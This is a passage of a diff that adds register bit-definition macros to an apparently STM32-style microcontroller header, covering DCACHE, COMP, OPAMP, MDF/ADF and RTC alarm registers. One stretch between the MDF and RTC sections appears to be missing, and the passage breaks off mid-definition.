+#define DCACHE_IER_ERRIE DCACHE_IER_ERRIE_Msk /*!< Cache error interrupt enable */ +#define DCACHE_IER_CMDENDIE_Pos (4UL) +#define DCACHE_IER_CMDENDIE_Msk (0x1UL << DCACHE_IER_CMDENDIE_Pos) /*!< 0x00000010 */ +#define DCACHE_IER_CMDENDIE DCACHE_IER_CMDENDIE_Msk /*!< Command end interrupt enable */ + +/****************** Bit definition for DCACHE_FCR register ******************/ +#define DCACHE_FCR_CBSYENDF_Pos (1UL) +#define DCACHE_FCR_CBSYENDF_Msk (0x1UL << DCACHE_FCR_CBSYENDF_Pos) /*!< 0x00000002 */ +#define DCACHE_FCR_CBSYENDF DCACHE_FCR_CBSYENDF_Msk /*!< Busy end flag clear */ +#define DCACHE_FCR_CERRF_Pos (2UL) +#define DCACHE_FCR_CERRF_Msk (0x1UL << DCACHE_FCR_CERRF_Pos) /*!< 0x00000004 */ +#define DCACHE_FCR_CERRF DCACHE_FCR_CERRF_Msk /*!< Cache error flag clear */ +#define DCACHE_FCR_CCMDENDF_Pos (4UL) +#define DCACHE_FCR_CCMDENDF_Msk (0x1UL << DCACHE_FCR_CCMDENDF_Pos) /*!< 0x00000010 */ +#define DCACHE_FCR_CCMDENDF DCACHE_FCR_CCMDENDF_Msk /*!< Command end flag clear */ + +/****************** Bit definition for DCACHE_RHMONR register ****************/ +#define DCACHE_RHMONR_RHITMON_Pos (0UL) +#define DCACHE_RHMONR_RHITMON_Msk (0xFFFFFFFFUL << DCACHE_RHMONR_RHITMON_Pos) /*!< 0xFFFFFFFF */ +#define DCACHE_RHMONR_RHITMON DCACHE_RHMONR_RHITMON_Msk /*!< Cache Read hit monitor register */ + +/****************** Bit definition for DCACHE_RMMONR register ****************/ +#define DCACHE_RMMONR_RMISSMON_Pos (0UL) +#define DCACHE_RMMONR_RMISSMON_Msk (0xFFFFUL << DCACHE_RMMONR_RMISSMON_Pos) /*!< 0x0000FFFF */ +#define DCACHE_RMMONR_RMISSMON DCACHE_RMMONR_RMISSMON_Msk /*!< Cache Read miss monitor register */ + +/****************** Bit definition for DCACHE_WHMONR register ****************/ +#define DCACHE_WHMONR_WHITMON_Pos (0UL) +#define DCACHE_WHMONR_WHITMON_Msk (0xFFFFFFFFUL << DCACHE_WHMONR_WHITMON_Pos) /*!< 0xFFFFFFFF */ +#define DCACHE_WHMONR_WHITMON DCACHE_WHMONR_WHITMON_Msk /*!< Cache Read hit monitor register */ + +/****************** Bit definition for DCACHE_WMMONR register ****************/ +#define DCACHE_WMMONR_WMISSMON_Pos (0UL) +#define DCACHE_WMMONR_WMISSMON_Msk (0xFFFFUL << DCACHE_WMMONR_WMISSMON_Pos) /*!< 0x0000FFFF */ +#define DCACHE_WMMONR_WMISSMON DCACHE_WMMONR_WMISSMON_Msk /*!< Cache Read miss monitor register */ + +/****************** Bit definition for DCACHE_CMDRSADDRR register ****************/ +#define DCACHE_CMDRSADDRR_CMDSTARTADDR_Pos (0UL) +#define DCACHE_CMDRSADDRR_CMDSTARTADDR_Msk (0xFFFFFFF0UL << DCACHE_CMDRSADDRR_CMDSTARTADDR_Pos) /*!< 0xFFFFFFF0 */ +#define DCACHE_CMDRSADDRR_CMDSTARTADDR DCACHE_CMDRSADDRR_CMDSTARTADDR_Msk /*!< Command start address */ + +/****************** Bit definition for DCACHE_CMDREADDRR register ****************/ +#define DCACHE_CMDREADDRR_CMDENDADDR_Pos (0UL) +#define DCACHE_CMDREADDRR_CMDENDADDR_Msk (0xFFFFFFF0UL << DCACHE_CMDREADDRR_CMDENDADDR_Pos) /*!< 0xFFFFFFF0 */ +#define DCACHE_CMDREADDRR_CMDENDADDR DCACHE_CMDREADDRR_CMDENDADDR_Msk /*!< Command end address */ + +/******************************************************************************/ +/* */ +/* Analog Comparators (COMP) */ +/* */ +/******************************************************************************/ + +/********************** Bit definition for COMP_CSR register ****************/ +#define COMP_CSR_EN_Pos (0UL) +#define COMP_CSR_EN_Msk (0x1UL << COMP_CSR_EN_Pos) /*!< 0x00000001 */ +#define COMP_CSR_EN COMP_CSR_EN_Msk /*!< Comparator enable */ +#define COMP_CSR_INMSEL_Pos (4UL) +#define COMP_CSR_INMSEL_Msk (0xFUL << COMP_CSR_INMSEL_Pos) /*!< 0x000000F0 */ +#define COMP_CSR_INMSEL COMP_CSR_INMSEL_Msk /*!< Comparator input minus selection */ +#define COMP_CSR_INMSEL_0 (0x1UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000010 */ +#define COMP_CSR_INMSEL_1 (0x2UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000020 */ +#define COMP_CSR_INMSEL_2 (0x4UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000040 */ +#define COMP_CSR_INMSEL_3 (0x8UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000080 */ +#define COMP_CSR_INPSEL_Pos (8UL) +#define COMP_CSR_INPSEL_Msk (0x7UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000700 */ +#define COMP_CSR_INPSEL COMP_CSR_INPSEL_Msk /*!< Comparator input plus selection */ +#define COMP_CSR_INPSEL_0 (0x1UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000100 */ +#define COMP_CSR_INPSEL_1 (0x2UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000200 */ +#define COMP_CSR_INPSEL_2 (0x4UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000400 */ +#define COMP_CSR_WINMODE_Pos (11UL) +#define COMP_CSR_WINMODE_Msk (0x1UL << COMP_CSR_WINMODE_Pos) /*!< 0x00000800 */ +#define COMP_CSR_WINMODE COMP_CSR_WINMODE_Msk /*!< Pair of comparators window mode. Bit intended to be used with COMP common instance (COMP_Common_TypeDef) */ +#define COMP_CSR_WINOUT_Pos (14UL) +#define COMP_CSR_WINOUT_Msk (0x1UL << COMP_CSR_WINOUT_Pos) /*!< 0x00004000 */ +#define COMP_CSR_WINOUT COMP_CSR_WINOUT_Msk /*!< Pair of comparators window output level. Bit intended to be used with COMP common instance (COMP_Common_TypeDef) */ +#define COMP_CSR_POLARITY_Pos (15UL) +#define COMP_CSR_POLARITY_Msk (0x1UL << COMP_CSR_POLARITY_Pos) /*!< 0x00008000 */ +#define COMP_CSR_POLARITY COMP_CSR_POLARITY_Msk /*!< Comparator output polarity */ +#define COMP_CSR_HYST_Pos (16UL) +#define COMP_CSR_HYST_Msk (0x3UL << COMP_CSR_HYST_Pos) /*!< 0x00030000 */ +#define COMP_CSR_HYST COMP_CSR_HYST_Msk /*!< Comparator input hysteresis */ +#define COMP_CSR_HYST_0 (0x1UL << COMP_CSR_HYST_Pos) /*!< 0x00010000 */ +#define COMP_CSR_HYST_1 (0x2UL << COMP_CSR_HYST_Pos) /*!< 0x00020000 */ +#define COMP_CSR_PWRMODE_Pos (18UL) +#define COMP_CSR_PWRMODE_Msk (0x3UL << COMP_CSR_PWRMODE_Pos) /*!< 0x000C0000 */ +#define COMP_CSR_PWRMODE COMP_CSR_PWRMODE_Msk /*!< Comparator power mode */ +#define COMP_CSR_PWRMODE_0 (0x1UL << COMP_CSR_PWRMODE_Pos) /*!< 0x00040000 */ +#define COMP_CSR_PWRMODE_1 (0x2UL << COMP_CSR_PWRMODE_Pos) /*!< 0x00080000 */ +#define COMP_CSR_BLANKSEL_Pos (20UL) +#define COMP_CSR_BLANKSEL_Msk (0x1FUL << COMP_CSR_BLANKSEL_Pos) /*!< 0x01F00000 */ +#define COMP_CSR_BLANKSEL COMP_CSR_BLANKSEL_Msk /*!< Comparator blanking source */ +#define COMP_CSR_BLANKSEL_0 (0x01UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00100000 */ +#define COMP_CSR_BLANKSEL_1 (0x02UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00200000 */ +#define COMP_CSR_BLANKSEL_2 (0x04UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00400000 */ +#define COMP_CSR_BLANKSEL_3 (0x08UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00800000 */ +#define COMP_CSR_BLANKSEL_4 (0x10UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x01000000 */ +#define COMP_CSR_VALUE_Pos (30UL) +#define COMP_CSR_VALUE_Msk (0x1UL << COMP_CSR_VALUE_Pos) /*!< 0x40000000 */ +#define COMP_CSR_VALUE COMP_CSR_VALUE_Msk /*!< Comparator output level */ +#define COMP_CSR_LOCK_Pos (31UL) +#define COMP_CSR_LOCK_Msk (0x1UL << COMP_CSR_LOCK_Pos) /*!< 0x80000000 */ +#define COMP_CSR_LOCK COMP_CSR_LOCK_Msk /*!< Comparator lock */ + +/******************************************************************************/ +/* */ +/* Operational Amplifier (OPAMP) */ +/* */ +/******************************************************************************/ +/********************* Bit definition for OPAMPx_CSR register ***************/ +#define OPAMP_CSR_OPAEN_Pos (0UL) +#define OPAMP_CSR_OPAEN_Msk (0x1UL << OPAMP_CSR_OPAEN_Pos) /*!< 0x00000001 */ +#define OPAMP_CSR_OPAEN OPAMP_CSR_OPAEN_Msk /*!< OPAMP enable */ +#define OPAMP_CSR_OPALPM_Pos (1UL) +#define OPAMP_CSR_OPALPM_Msk (0x1UL << OPAMP_CSR_OPALPM_Pos) /*!< 0x00000002 */ +#define OPAMP_CSR_OPALPM OPAMP_CSR_OPALPM_Msk /*!< Operational amplifier Low Power Mode */ +#define OPAMP_CSR_OPAMODE_Pos (2UL) +#define OPAMP_CSR_OPAMODE_Msk (0x3UL << OPAMP_CSR_OPAMODE_Pos) /*!< 0x0000000C */ +#define OPAMP_CSR_OPAMODE OPAMP_CSR_OPAMODE_Msk /*!< Operational amplifier PGA mode */ +#define OPAMP_CSR_OPAMODE_0 (0x1UL << OPAMP_CSR_OPAMODE_Pos) /*!< 0x00000004 */ +#define OPAMP_CSR_OPAMODE_1 (0x2UL << OPAMP_CSR_OPAMODE_Pos) /*!< 0x00000008 */ +#define OPAMP_CSR_PGA_GAIN_Pos (4UL) +#define OPAMP_CSR_PGA_GAIN_Msk (0x3UL << OPAMP_CSR_PGA_GAIN_Pos) /*!< 0x00000030 */ +#define OPAMP_CSR_PGA_GAIN OPAMP_CSR_PGA_GAIN_Msk /*!< Operational amplifier Programmable amplifier gain value */ +#define OPAMP_CSR_PGA_GAIN_0 (0x1UL << OPAMP_CSR_PGA_GAIN_Pos) /*!< 0x00000010 */ +#define OPAMP_CSR_PGA_GAIN_1 (0x2UL << OPAMP_CSR_PGA_GAIN_Pos) /*!< 0x00000020 */ +#define OPAMP_CSR_VM_SEL_Pos (8UL) +#define OPAMP_CSR_VM_SEL_Msk (0x3UL << OPAMP_CSR_VM_SEL_Pos) /*!< 0x00000300 */ +#define OPAMP_CSR_VM_SEL OPAMP_CSR_VM_SEL_Msk /*!< Inverting input selection */ +#define OPAMP_CSR_VM_SEL_0 (0x1UL << OPAMP_CSR_VM_SEL_Pos) /*!< 0x00000100 */ +#define OPAMP_CSR_VM_SEL_1 (0x2UL << OPAMP_CSR_VM_SEL_Pos) /*!< 0x00000200 */ +#define OPAMP_CSR_VP_SEL_Pos (10UL) +#define OPAMP_CSR_VP_SEL_Msk (0x1UL << OPAMP_CSR_VP_SEL_Pos) /*!< 0x00000400 */ +#define OPAMP_CSR_VP_SEL OPAMP_CSR_VP_SEL_Msk /*!< Non inverted input selection */ +#define OPAMP_CSR_CALON_Pos (12UL) +#define OPAMP_CSR_CALON_Msk (0x1UL << OPAMP_CSR_CALON_Pos) /*!< 0x00001000 */ +#define OPAMP_CSR_CALON OPAMP_CSR_CALON_Msk /*!< Calibration mode enable */ +#define OPAMP_CSR_CALSEL_Pos (13UL) +#define OPAMP_CSR_CALSEL_Msk (0x1UL << OPAMP_CSR_CALSEL_Pos) /*!< 0x00002000 */ +#define OPAMP_CSR_CALSEL OPAMP_CSR_CALSEL_Msk /*!< Calibration selection */ +#define OPAMP_CSR_USERTRIM_Pos (14UL) +#define OPAMP_CSR_USERTRIM_Msk (0x1UL << OPAMP_CSR_USERTRIM_Pos) /*!< 0x00004000 */ +#define OPAMP_CSR_USERTRIM OPAMP_CSR_USERTRIM_Msk /*!< User trimming enable */ +#define OPAMP_CSR_CALOUT_Pos (15UL) +#define OPAMP_CSR_CALOUT_Msk (0x1UL << OPAMP_CSR_CALOUT_Pos) /*!< 0x00008000 */ +#define OPAMP_CSR_CALOUT OPAMP_CSR_CALOUT_Msk /*!< Operational amplifier calibration output */ +#define OPAMP_CSR_HSM_Pos (30UL) +#define OPAMP_CSR_HSM_Msk (0x1UL << OPAMP_CSR_HSM_Pos) /*!< 0x40000000 */ +#define OPAMP_CSR_HSM OPAMP_CSR_HSM_Msk /*!< Operational amplifier high speed mode */ +#define OPAMP_CSR_OPARANGE_Pos (31UL) +#define OPAMP_CSR_OPARANGE_Msk (0x1UL << OPAMP_CSR_OPARANGE_Pos) /*!< 0x80000000 */ +#define OPAMP_CSR_OPARANGE OPAMP_CSR_OPARANGE_Msk /*!< Operational amplifier range setting */ + +/******************* Bit definition for OPAMPx_OTR register ******************/ +#define OPAMP_OTR_TRIMOFFSETN_Pos (0UL) +#define OPAMP_OTR_TRIMOFFSETN_Msk (0x1FUL << OPAMP_OTR_TRIMOFFSETN_Pos) /*!< 0x0000001F */ +#define OPAMP_OTR_TRIMOFFSETN OPAMP_OTR_TRIMOFFSETN_Msk /*!< Trim for NMOS differential pairs */ +#define OPAMP_OTR_TRIMOFFSETP_Pos (8UL) +#define OPAMP_OTR_TRIMOFFSETP_Msk (0x1FUL << OPAMP_OTR_TRIMOFFSETP_Pos) /*!< 0x00001F00 */ +#define OPAMP_OTR_TRIMOFFSETP OPAMP_OTR_TRIMOFFSETP_Msk /*!< Trim for PMOS differential pairs */ + +/******************* Bit definition for OPAMPx_LPOTR register ****************/ +#define OPAMP_LPOTR_TRIMLPOFFSETN_Pos (0UL) +#define OPAMP_LPOTR_TRIMLPOFFSETN_Msk (0x1FUL << OPAMP_LPOTR_TRIMLPOFFSETN_Pos) /*!< 0x0000001F */ +#define OPAMP_LPOTR_TRIMLPOFFSETN OPAMP_LPOTR_TRIMLPOFFSETN_Msk /*!< Trim for NMOS differential pairs */ +#define OPAMP_LPOTR_TRIMLPOFFSETP_Pos (8UL) +#define OPAMP_LPOTR_TRIMLPOFFSETP_Msk (0x1FUL << OPAMP_LPOTR_TRIMLPOFFSETP_Pos) /*!< 0x00001F00 */ +#define OPAMP_LPOTR_TRIMLPOFFSETP OPAMP_LPOTR_TRIMLPOFFSETP_Msk /*!< Trim for PMOS differential pairs */ + +/******************************************************************************/ +/* */ +/* MDF/ADF */ +/* */ +/******************************************************************************/ +/******************* Bit definition for MDF/ADF_GCR register ********************/ +#define MDF_GCR_TRGO_Pos (0UL) +#define MDF_GCR_TRGO_Msk (0x1UL << MDF_GCR_TRGO_Pos) /*!< 0x00000001 */ +#define MDF_GCR_TRGO MDF_GCR_TRGO_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << 